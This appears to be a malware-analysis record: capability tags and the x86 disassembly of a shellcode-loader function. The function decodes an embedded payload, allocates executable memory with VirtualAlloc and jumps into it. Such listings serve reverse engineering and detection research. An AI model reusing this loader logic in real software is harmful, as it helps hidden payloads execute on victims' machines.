Function at 0x4046a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x108
mov esi, esp
mov dword [esi + 0xf0], ebp
mov dword [esi + 0xf4], esp
mov dword [esi + 0x100], 0xffffffff
mov dword [esi + 0xfc], 0x405550
lea eax, [esi + 0xf8]
mov ecx, dword fs:[0]
mov dword [esi + 0xf8], ecx
mov dword fs:[0], eax
lea eax, [esi + 0x70]
push 0x15
push 0x5a24d1
push eax
call fcn.00405bd0
add esp, 0xc
mov eax, dword [esi + 0x70]
xor eax, 3
or eax, dword [esi + 0x74]
jne 0x40477f
mov edi, dword [esi + 0x78]
mov eax, dword [edi + 0x4c]
test eax, eax
je 0x404749
mov ecx, dword [edi + 0x50]
mov dword [esi], edi
mov dword [esi + 0x100], 9
mov dword [esi + 8], eax
push eax
mov dword [esi + 4], ecx
call dword [ecx]
add esp, 4
mov edx, dword [esi + 4]
mov edi, dword [esi]
mov ecx, dword [esi + 8]
mov eax, dword [edx + 4]
test eax, eax
je 0x404749
push dword [edx + 8]
push eax
push ecx
call fcn.00407080
add esp, 0xc
cmp dword [edi], 2
je 0x404763
mov eax, dword [edi + 0x18]
test eax, eax
je 0x404763
push 1
push eax
push dword [edi + 0x14]
call fcn.00407080
add esp, 0xc
push 4
push 0x54
push edi
call fcn.00407080
add esp, 0xc
mov dword [esi + 0x100], 0xa
jmp 0x404924
mov eax, dword [esi + 0x8c]
test eax, eax
je 0x40479d
shl eax, 2
push 2
push eax
push dword [esi + 0x88]
call fcn.00407080
add esp, 0xc
lea eax, [esi + 0x90]
mov dword [esi + 0x100], 8
push eax
call fcn.00403a30
add esp, 4
mov eax, dword [esi + 0x94]
test eax, eax
je 0x4047d4
imul eax, eax, 0x34
push 4
push eax
push dword [esi + 0x90]
call fcn.00407080
add esp, 0xc
mov eax, dword [esi + 0x9c]
mov ecx, dword [esi + 0xa4]
mov dword [esi], 0
mov dword [esi + 0xc], eax
add eax, 0x1c
mov dword [esi + 8], ecx
mov dword [esi + 4], eax
nop word cs:[eax + eax]
nop dword [eax]
mov eax, dword [esi]
cmp dword [esi + 8], eax
je 0x404833
mov edi, dword [esi + 4]
inc eax
mov dword [esi], eax
mov eax, dword [edi - 0xc]
mov edx, dword [edi - 4]
mov ecx, dword [edi - 8]
mov eax, dword [eax + 8]
mov dword [esi + 0x100], 7
push edx
push ecx
push edi
add edi, 0x24
mov dword [esi + 4], edi
call eax
add esp, 0xc
jmp 0x404800
mov eax, dword [esi + 0xa0]
test eax, eax
je 0x404854
shl eax, 2
lea eax, [eax + eax*8]
push 4
push eax
push dword [esi + 0x9c]
call fcn.00407080
add esp, 0xc
mov eax, dword [esi + 0xb0]
test eax, eax
je 0x404881
mov dword [esi + 0x100], 4
mov dword [esi], eax
push eax
call fcn.00405890
add esp, 4
push 4
push 0x10
push dword [esi]
call fcn.00407080
add esp, 0xc
lea ecx, [esi + 0xb8]
mov dword [esi + 0x100], 2
call fcn.00404580
mov edi, dword [esi + 0xc8]
mov eax, dword [edi + 0x18]
test eax, eax
je 0x4048b1
push 1
push eax
push dword [edi + 0x14]
call fcn.00407080
add esp, 0xc
push 4
push 0x48
push edi
call fcn.00407080
add esp, 0xc
mov eax, dword [esi + 0xe0]
test eax, eax
je 0x4048fc
mov ecx, dword [esi + 0xe4]
mov dword [esi + 0x100], 1
mov dword [esi + 4], eax
push eax
mov dword [esi], ecx
call dword [ecx]
add esp, 4
mov edx, dword [esi]
mov ecx, dword [esi + 4]
mov eax, dword [edx + 4]
test eax, eax
je 0x4048fc
push dword [edx + 8]
push eax
push ecx
call fcn.00407080
add esp, 0xc
mov eax, dword [esi + 0xe8]
test eax, eax
je 0x404924
lock dec dword [eax]
jne 0x404924
lea eax, [esi + 0xe8]
mov dword [esi + 0x100], 0xffffffff
push eax
call fcn.00402c60
add esp, 4
mov dword [esi + 0x38], 1
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x100], 0xa
push 1
push str.O_Flo_09b_Q2Y_9zytvQ_8B_KmY_0000000000000000000000000000000000000000cmMzZ4j_M_0JI6sA_Dld__51X__ZOaKpHVQnBVQy3bRc47AaZqXAZczOLC7ZEsEhZP_U_OaTM__M0000000000_av3jq_Q0Coca01yEH00000uf__01yBG00000002M_01yBG01yBG1_s6000001_s6000000KfzQ00aO4000000sugP000mG01yBG000mG01yBG000005C8xG0000000000_nFeccmMzZ0000000000000000000000000000000B5V5KI67000000000000000000000000000000000000000000000000000000000000__epnkNMx000000000000000000000000000000E_7vhbNPV0DuDk01yBG0DuDk01yBG000000000000000AOHYhEgHbYTDh05AXm0FVO_05AXm0FVO_000000000000000KmY_hE_WYJVE_OC0Ic60KfwP0Ic60KfwP000000000000000KmY1EjTZ__e08jt_0B5V08jt_0B5V000000000000000KmY_j00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
push 9
push str.shellcodehttps:__www.baidu.comsrcembed_file.rs
lea eax, [esi + 0x70]
push eax
call fcn.00595fe0
add esp, 0x14
mov ecx, dword [esi + 0x7c]
mov eax, dword [esi + 0x88]
mov edi, dword [esi + 0xa8]
mov edx, ecx
mov dword [esi + 0x14], ecx
mov dword [esi + 0x58], eax
mov dword [esi + 0x50], edi
shr edx, 0x10
mov dword [esi + 0x44], edx
mov edx, ecx
and ecx, 0xff00ff00
mov dword [esi + 0x68], ecx
mov ecx, dword [esi + 0xac]
mov edx, ecx
mov dword [esi + 8], ecx
sub edx, eax
mov dword [esi + 0x60], edx
mov edx, dword [esi + 0x80]
lea eax, [edx - 1]
mov dword [esi + 0x24], edx
cmp eax, ecx
mov dword [esi + 0x54], eax
mov eax, 1
setb byte [esi + 0x33]
sub eax, edx
mov dword [esi + 0x5c], eax
mov eax, dword [esi + 0x70]
mov dword [esi + 0x6c], eax
mov eax, dword [esi + 0x74]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x78]
mov dword [esi + 0x4c], eax
mov eax, dword [esi + 0x8c]
mov dword [esi + 4], eax
mov eax, dword [esi + 0x94]
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0xa0]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0xa4]
mov dword [esi], eax
mov eax, ecx
lea eax, [ecx - 1]
xor ecx, ecx
mov dword [esi + 0x48], eax
lea eax, [edi + edx - 1]
xor edi, edi
mov dword [esi + 0x64], eax
mov eax, 1
jmp 0x404a1e
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x34]
mov byte [eax + edi], 0x2f
inc edi
mov dword [esi + 0x40], edi
cmp dword [esi + 0x6c], 0
mov dword [esi + 0x28], ecx
mov dword [esi + 0x20], edi
mov dword [esi + 0x18], eax
je 0x404bc0
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x48]
add ecx, eax
cmp ecx, dword [esi]
jae 0x404f2b
movzx eax, byte [esi + 0x14]
movzx edx, byte [esi + 0x44]
or eax, dword [esi + 0x68]
shl edx, 0x10
or eax, edx
cmp dword [esi + 0x1c], 0xffffffff
mov dword [esi + 0x2c], eax
je 0x404c18
mov edx, dword [esi + 0xc]
mov eax, 1
mov edi, 1
movzx ecx, byte [edx + ecx]
xor edx, edx
shld edx, eax, cl
shl edi, cl
test cl, 0x20
mov eax, 0
cmovne edx, edi
cmovne edi, eax
and edx, dword [esi + 0x2c]
and edi, dword [esi + 0x4c]
or edi, edx
jne 0x404af8
mov ecx, dword [esi + 4]
add ecx, dword [esi + 8]
mov eax, ecx
mov eax, dword [esi + 0x48]
mov dword [esi + 4], ecx
lea edx, [ecx + eax]
cmp edx, dword [esi]
jae 0x404f2b
nop word [eax + eax]
mov ecx, dword [esi + 0xc]
xor edi, edi
mov eax, 1
mov ebx, 1
movzx ecx, byte [ecx + edx]
shld edi, eax, cl
shl ebx, cl
test cl, 0x20
mov eax, 0
cmovne edi, ebx
cmovne ebx, eax
and edi, dword [esi + 0x2c]
and ebx, dword [esi + 0x4c]
or ebx, edi
jne 0x404af1
mov ecx, dword [esi + 8]
add dword [esi + 4], ecx
add edx, ecx
cmp edx, dword [esi]
jb 0x404ab0
jmp 0x404f2b
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
cmp eax, ecx
cmova ecx, eax
cmp ecx, dword [esi + 8]
jae 0x404b40
mov eax, dword [esi + 0xc]
mov edx, dword [esi + 4]
lea edi, [eax + edx]
mov edx, ecx
nop word cs:[eax + eax]
nop dword [eax]
mov eax, dword [esi + 4]
lea ebx, [eax + edx]
cmp ebx, dword [esi]
jae 0x405131
mov eax, dword [esi + 0x50]
movzx ebx, byte [eax + edx]
cmp bl, byte [edi + edx]
jne 0x404b90
inc edx
cmp dword [esi + 8], edx
jne 0x404b20
mov edx, dword [esi + 0x24]
mov edi, dword [esi + 0x1c]
nop word cs:[eax + eax]
cmp edi, edx
jae 0x404cd0
dec edx
cmp edx, dword [esi + 8]
jae 0x404f0b
mov eax, dword [esi + 4]
lea ecx, [edx + eax]
cmp ecx, dword [esi]
jae 0x405112
mov eax, dword [esi + 0x50]
movzx ebx, byte [eax + edx]
mov eax, dword [esi + 0xc]
cmp bl, byte [eax + ecx]
je 0x404b50
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x60]
add eax, dword [esi + 0x58]
mov dword [esi + 0x1c], ecx
jmp 0x404b9f
mov eax, dword [esi + 4]
mov dword [esi + 0x1c], 0
add eax, dword [esi + 0x5c]
add eax, edx
mov ecx, eax
mov ecx, dword [esi + 0x48]
mov dword [esi + 4], eax
add ecx, eax
cmp ecx, dword [esi]
jb 0x404a5e
jmp 0x404f2b
cmp byte [esi + 0x44], 0
jne 0x404f2b
mov edi, dword [esi + 0x10]
mov eax, dword [esi]
test edi, edi
je 0x404d06
mov eax, dword [esi]
sub eax, edi
jbe 0x404d00
mov ecx, dword [esi + 0xc]
cmp byte [ecx + edi], 0xc0
jge 0x404d06
jmp 0x40515b
mov ecx, dword [esi + 4]
add ecx, dword [esi + 8]
mov eax, ecx
mov eax, dword [esi + 0x48]
mov dword [esi + 4], ecx
add ecx, eax
cmp ecx, dword [esi]
jae 0x404f2b
mov edx, dword [esi + 0xc]
mov eax, 1
mov edi, 1
movzx ecx, byte [edx + ecx]
xor edx, edx
shld edx, eax, cl
shl edi, cl
test cl, 0x20
mov eax, 0
cmovne edx, edi
cmovne edi, eax
and edx, dword [esi + 0x2c]
and edi, dword [esi + 0x4c]
or edi, edx
je 0x404c00
mov eax, dword [esi + 0x24]
cmp eax, dword [esi + 8]
jae 0x404c81
mov edx, dword [esi + 4]
mov eax, dword [esi + 0xc]
mov edi, dword [esi + 0x24]
mov ecx, edx
add edx, eax
not ecx
nop
mov eax, dword [esi + 4]
lea ebx, [eax + edi]
cmp ebx, dword [esi]
jae 0x40512e
mov eax, dword [esi + 0x50]
movzx ebx, byte [eax + edi]
cmp bl, byte [edx + edi]
jne 0x404cc7
inc edi
dec ecx
cmp dword [esi + 8], edi
jne 0x404c60
test byte [esi + 0x33], 1
je 0x404ef4
mov eax, dword [esi + 4]
mov ecx, dword [esi + 0x54]
mov edx, dword [esi + 0x64]
mov edi, dword [esi + 0x24]
add ecx, eax
nop dword [eax]
sub edi, 1
jb 0x404ce0
cmp ecx, dword [esi]
jae 0x405112
movzx ebx, byte [edx]
mov eax, dword [esi + 0xc]
dec edx
cmp bl, byte [eax + ecx]
lea ecx, [ecx - 1]
je 0x404ca0
mov ecx, dword [esi + 4]
add ecx, dword [esi + 0x58]
jmp 0x404c06
neg ecx
jmp 0x404c06
mov dword [esi + 0x1c], 0
jmp 0x404ce7
mov dword [esi + 0x1c], 0xffffffff
mov edi, dword [esi + 0x20]
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
lea ebx, [ecx + eax]
mov eax, ecx
mov ecx, dword [esi + 0x18]
mov dword [esi + 4], ebx
jmp 0x404d91
jne 0x40515b
test eax, eax
je 0x404d6d
mov ebx, dword [esi + 0xc]
movzx edx, byte [ebx + edi]
movzx eax, dl
test dl, dl
jns 0x404da0
mov ecx, edi
movzx edi, byte [ebx + edi + 1]
and eax, 0x1f
and edi, 0x3f
cmp dl, 0xe0
jb 0x404d96
mov dword [esi + 0x10], ecx
movzx ecx, byte [ebx + ecx + 2]
shl edi, 6
and ecx, 0x3f
or ecx, edi
cmp dl, 0xf0
jb 0x404e44
mov edi, dword [esi + 0x10]
and eax, 7
shl ecx, 6
shl eax, 0x12
movzx edx, byte [ebx + edi + 3]
and edx, 0x3f
or edx, ecx
or eax, edx
cmp byte [esi + 0x14], 0
mov ecx, dword [esi + 0x18]
jne 0x404dad
jmp 0x404e59
cmp byte [esi + 0x14], 0
je 0x404f2b
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
mov dword [esi + 0x44], 0
xor al, 1
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x10]
mov ebx, eax
mov edx, dword [esi + 0x28]
jmp 0x404dc9
shl eax, 6
or eax, edi
mov edi, ecx
nop dword [eax]
cmp byte [esi + 0x14], 0
mov ecx, dword [esi + 0x18]
je 0x404e59
mov ebx, edi
mov edi, dword [esi + 0x20]
mov edx, dword [esi + 0x28]
mov eax, dword [esi + 0x14]
mov dword [esi + 0x44], 0
mov dword [esi + 0x10], ebx
xor al, 1
mov dword [esi + 0x14], eax
mov eax, ebx
sub eax, edx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x2c], eax
mov eax, dword [esi + 0x3c]
sub eax, edi
cmp eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x2c]
jae 0x404dff
mov dword [esi + 0x100], 0xa
push eax
push edi
lea eax, [esi + 0x38]
push eax
call fcn.00599ef0
add esp, 0xc
mov ecx, dword [esi + 0x38]
mov edi, dword [esi + 0x40]
mov edx, dword [esi + 0x28]
mov ebx, dword [esi + 0x2c]
lea eax, [edx + str.shellcodehttps:__www.baidu.comsrcembed_file.rs]
add ecx, edi
push ebx
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add edi, ebx
mov dword [esi + 0x40], edi
cmp dword [esi + 0x3c], edi
jne 0x404a10
mov dword [esi + 0x100], 0xa
push 1
push edi
lea eax, [esi + 0x38]
push eax
call fcn.00599ef0
add esp, 0xc
mov edi, dword [esi + 0x40]
jmp 0x404a10
mov edi, dword [esi + 0x10]
shl eax, 0xc
or eax, ecx
cmp byte [esi + 0x14], 0
mov ecx, dword [esi + 0x18]
jne 0x404dad
cmp eax, 0x110000
je 0x404f2b
mov ebx, 1
cmp eax, 0x80
jb 0x404e89
mov ebx, 2
cmp eax, 0x800
jb 0x404e89
cmp eax, 0x10000
mov ebx, 4
sbb ebx, 0
add ebx, dword [esi + 0x10]
mov eax, dword [esi]
je 0x404eaa
mov eax, dword [esi]
sub eax, ebx
jbe 0x404ea4
mov ecx, dword [esi + 0xc]
cmp byte [ecx + ebx], 0xbf
jg 0x404eaa
jmp 0x405158
jne 0x405158
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
mov edx, dword [esi + 0x28]
test eax, eax
je 0x404ed2
mov eax, dword [esi + 0xc]
mov dword [esi + 0x34], ebx
movzx eax, byte [eax + ebx]
mov bl, 1
mov dword [esi + 0x14], ebx
test al, al
js 0x404eea
mov ebx, dword [esi + 0x34]
jmp 0x404db5
mov dword [esi + 0x44], 0
mov dword [esi + 0x10], ebx
mov eax, ebx
mov dword [esi + 0x14], 0
jmp 0x404dc9
mov ebx, dword [esi + 0x34]
cmp al, 0xe0
jmp 0x404db5
cmp dword [esi + 0x24], 0
mov edi, dword [esi + 0x20]
mov dword [esi + 0x1c], 0xffffffff
je 0x404cea
mov edx, dword [esi + 0x54]
mov dword [esi + 0x100], 0xa
push 0x5a2410
push dword [esi + 8]
push edx
call fcn.005a0c50
add esp, 0xc
jmp 0x40517c
mov edx, dword [esi + 0x28]
mov eax, dword [esi + 0x3c]
mov edi, dword [esi + 0x20]
mov ecx, 9
sub ecx, edx
sub eax, edi
cmp eax, ecx
mov dword [esi], ecx
jae 0x404f66
mov dword [esi + 0x100], 0xa
push ecx
push edi
lea eax, [esi + 0x38]
push eax
call fcn.00599ef0
add esp, 0xc
mov ecx, dword [esi + 0x38]
mov edi, dword [esi + 0x40]
mov edx, dword [esi + 0x28]
jmp 0x404f69
mov ecx, dword [esi + 0x18]
mov ebx, dword [esi]
mov dword [esi + 0x18], ecx
lea eax, [edx + str.shellcodehttps:__www.baidu.comsrcembed_file.rs]
add ecx, edi
push ebx
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add edi, ebx
mov eax, edi
mov edi, dword [esi + 0x3c]
cmp eax, 9
jne 0x404fa3
push 9
push str.shellcodehttps:__www.baidu.comsrcembed_file.rs
push dword [esi + 0x18]
call sub.VCRUNTIME140.dll_memcmp
add esp, 0xc
test eax, eax
je 0x404fb6
test edi, edi
je 0x4050fc
push 1
push edi
push dword [esi + 0x18]
jmp 0x4050f4
test edi, edi
je 0x404fc8
push 1
push edi
push dword [esi + 0x18]
call fcn.00407080
add esp, 0xc
movzx eax, byte [0x69b8b9]
push 1
push 0x5f500
call fcn.00407070
add esp, 8
test eax, eax
je 0x40517e
mov edi, eax
push 0x5f500
push 0x5a2509
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esi + 0x100], 0xb
push 0x5f500
mov dword [esi], edi
push edi
lea eax, [esi + 0x70]
push eax
call fcn.00595970
add esp, 0xc
cmp dword [esi + 0x70], 0
je 0x405075
mov eax, dword [esi + 0x78]
mov edx, dword [esi]
movzx ecx, al
cmp ecx, 2
je 0x405077
mov ecx, dword [esi + 0x74]
mov dword [esi + 0x70], edx
mov dword [esi + 0x74], 0x5f500
mov dword [esi + 0x78], 0x5f500
mov dword [esi + 0x80], eax
mov dword [esi + 0x100], 0xc
mov dword [esi + 0x7c], ecx
push 0x5a24f8
push 0x5a246c
lea eax, [esi + 0x70]
push eax
push 0x2b
push 0x5a2440
call fcn.005a0ed0
add esp, 0x14
jmp 0x40517c
mov edx, dword [esi]
mov dword [esi + 0x100], 0xd
push 0x5f500
push edx
lea eax, [esi + 0x70]
push eax
call fcn.00407320
add esp, 0xc
mov eax, dword [esi + 0x70]
test eax, eax
mov dword [esi + 4], eax
je 0x4050eb
mov eax, dword [esi + 0x74]
mov dword [esi + 0x100], 0xe
mov dword [esi + 8], eax
mov eax, dword [esi + 0x78]
push 0x40
push 0x1000
mov dword [esi + 0xc], eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov edi, eax
push dword [esi + 0xc]
push dword [esi + 4]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call edi
mov eax, dword [esi + 8]
test eax, eax
je 0x4050eb
push 1
push eax
push dword [esi + 4]
call fcn.00407080
add esp, 0xc
push 1
push 0x5f500
push dword [esi]
call fcn.00407080
add esp, 0xc
mov eax, dword [esi + 0xf8]
mov dword fs:[0], eax
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esi + 0x100], 0xa
push 0x5a2420
push dword [esi]
push ecx
call fcn.005a0c50
add esp, 0xc
jmp 0x40517c
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 4]
mov eax, dword [esi]
mov dword [esi + 0x100], 0xa
add edx, ecx
cmp eax, edx
cmova edx, eax
push 0x5a2430
push eax
push edx
call fcn.005a0c50
add esp, 0xc
jmp 0x40517c
mov dword [esi + 0x10], ebx
mov dword [esi + 0x100], 0xa
push 0x5a24b8
mov eax, dword [esi]
push eax
push dword [esi + 0x10]
push eax
push dword [esi + 0xc]
call fcn.005a11c0
add esp, 0x14
ud2
mov dword [esi + 0x100], 0xffffffff
push 0x5f500
push 1
call fcn.005a08c0
add esp, 8
ud2